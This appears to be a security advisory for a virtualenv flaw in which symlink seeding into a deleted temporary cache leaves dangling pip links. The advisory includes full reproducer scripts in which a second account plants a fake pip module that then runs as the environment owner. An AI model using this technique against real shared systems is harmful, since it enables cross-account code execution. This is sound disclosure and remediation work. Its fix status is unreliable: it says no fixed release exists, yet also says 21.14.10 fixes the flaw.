GHSA-4f8h-vr72-p32c: Pip/virtualenv vulnerability
Summary
The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlinkappdata can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls.
Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced.
Affected area
Integrity of app-data references after temporary cache cleanup.
Attacker-controlled input
Symlink seeding must be enabled through VIRTUALENVSYMLINKAPPDATA or symlinkappdata in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references.
The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults.
Affected code
The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup.
Mechanism
When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A value supplied by VIRTUALENVSYMLINKAPPDATA or virtualenv.ini can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem.
Reproduction and evidence
The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a real pip directory. With VIRTUALENVSYMLINKAPPDATA=1, the new environment instead contained a pip link into a deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/init.py there. When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed this is not pip.
The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction.
Attack sequence
mermaid sequenceDiagram participant U as Environment owner participant V as virtualenv seeder participant T as Temporary app-data in /tmp participant E as site-packages/pip link participant A as Other local account U->>V: VIRTUALENVSYMLINKAPPDATA=1 with unwritable home V->>T: create transient cache V->>E: link pip to cache path V->>T: delete cache at session exit A->>T: reclaim old name and plant fake pip U->>E: run bin/pip --version E->>T: import fake pip through stale link T-->>U: attacker's code runs as owner
Reproducer files
The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import os import pwd import shutil import subprocess from pathlib import Path
owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one otheruseruid = 4242 project = Path("/srv/project") otheruserfiles = Path("/var/tmp/other-user")
set up: a project folder only the owner can write, and the other user's two files in a folder of their own shutil.rmtree(project, ignoreerrors=True) shutil.rmtree(otheruserfiles, ignoreerrors=True) project.mkdir(mode=0o755) os.chown(project, owner.pwuid, owner.pwgid) shutil.copytree("/tmp/repro.d", otheruserfiles) subprocess.run(["chown", "-R", f"{otheruseruid}:{otheruseruid}", otheruserfiles], check=True)
asowner = {"user": owner.pwuid, "group": owner.pwgid, "extragroups": [], "cwd": project} asotheruser = {"user": otheruseruid, "group": otheruseruid, "extragroups": [], "cwd": "/"} ownerenv = {"HOME": owner.pwdir, "PATH": os.environ["PATH"]} virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]
control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied subprocess.run([virtualenv, "--symlink-app-data", "control"], env=ownerenv, check=True, asowner) controlpip = next(project.glob("control/lib/python/site-packages/pip")) print(f"CONTROL --symlink-app-data: {controlpip} is a symlink: {controlpip.issymlink()}")
trigger: the same setting through the environment variable symlinkenv = {ownerenv, "VIRTUALENVSYMLINKAPPDATA": "1"} subprocess.run([virtualenv, "venv"], env=symlinkenv, check=True, asowner) venvpip = next(project.glob("venv/lib/python/site-packages/pip")) print(f"OBSERVED VIRTUALENVSYMLINKAPPDATA=1: {venvpip} is a symlink: {venvpip.issymlink()}")
attack: the other user re-creates the deleted folder the link points into if venvpip.issymlink(): print(f"OBSERVED it points to {os.readlink(venvpip)}, which exists: {venvpip.exists()}") subprocess.run(["python3", otheruserfiles / "plantfakepip.py", venvpip], check=True, asotheruser)
the owner uses their environment pipversion = subprocess.run([project / "venv/bin/pip", "--version"], env=ownerenv, captureoutput=True, text=True, asowner) print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pwuid}, printed: {(pipversion.stdout + pipversion.stderr).strip()}")
check: fakepip.py writes this file into the environment folder, which uid 4242 cannot write venvstat = os.stat(project / "venv") print(f"OBSERVED {project / 'venv'} has mode {oct(venvstat.stmode & 0o777)} and owner uid {venvstat.stuid}") proof = project / "venv/attacker-code-ran" print(f"OBSERVED {proof} exists: {proof.exists()}") if proof.exists(): print(f"OBSERVED it is owned by uid {proof.stat().stuid} and says: {proof.readtext()}") print("BUG" if proof.exists() and proof.stat().stuid == owner.pwuid else "OK")
repro.d/fakepip.py
text planted as pip/init.py: runs in whichever process imports pip import os import sys
with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof: proof.write(f"{os.path.realpath(file)}, owned by uid {os.stat(file).stuid}, was imported by uid {os.getuid()}")
sys.exit("this is not pip")
repro.d/plantfakepip.py
text import os import shutil import sys from pathlib import Path
danglinglink = sys.argv[1] # the environment is world-readable, so anyone can read where its links go deletedfolder = Path(os.readlink(danglinglink))
virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take deletedfolder.mkdir(parents=True) shutil.copy(Path(file).withname("fakepip.py"), deletedfolder / "init.py")
Impact
Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition.
Severity: low.
Versions tested
The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.
The reporter identifies 20.0.6 as the first affected release. Commit c3453b6c, first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.
The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup.
Proposed fix: PR #3437.
Known mitigation
The proposed fix is in public PR #3437.
The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding.
Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/virtualenvto a version that resolves this vulnerability.Fixed in 21.14.10 - Configuration
Disable symlink seeding in the configuration file and environment variables, including the symlink_app_data setting and VIRTUALENV_SYMLINK_APP_DATA.
virtualenv symlink_app_data / VIRTUALENV_SYMLINK_APP_DATA = disabled - Compensating control
Provide a writable persistent cache that is private to the environment owner when app-data setup would otherwise fall back to a temporary directory.
- Operational
Recreate affected environments after correcting the symlink-seeding configuration.
Event History
Frequently Asked Questions
Which deployments are realistically exposed?
Exposure requires symlink app-data seeding to be enabled through VIRTUALENV_SYMLINK_APP_DATA or the symlink_app_data configuration-file setting, followed by fallback to a temporary app-data directory. A missing or unwritable configured cache can trigger that fallback, and the temporary directory must have a shared parent where another account can acquire the deleted cache pathname.
Is ordinary app-data copy seeding affected?
No. Ordinary copy seeding does not leave the app-data references involved in this condition.
How can I identify environments that may be affected?
Review environments created with symlink app-data enabled via environment variable or configuration file, especially where the configured cache was missing or unwritable. Investigate whether those environments retain references to temporary cache paths that were deleted after environment creation.
Has cross-account code execution been confirmed?
No. The reported cross-account code-execution claim had not been independently reproduced at the time of this draft.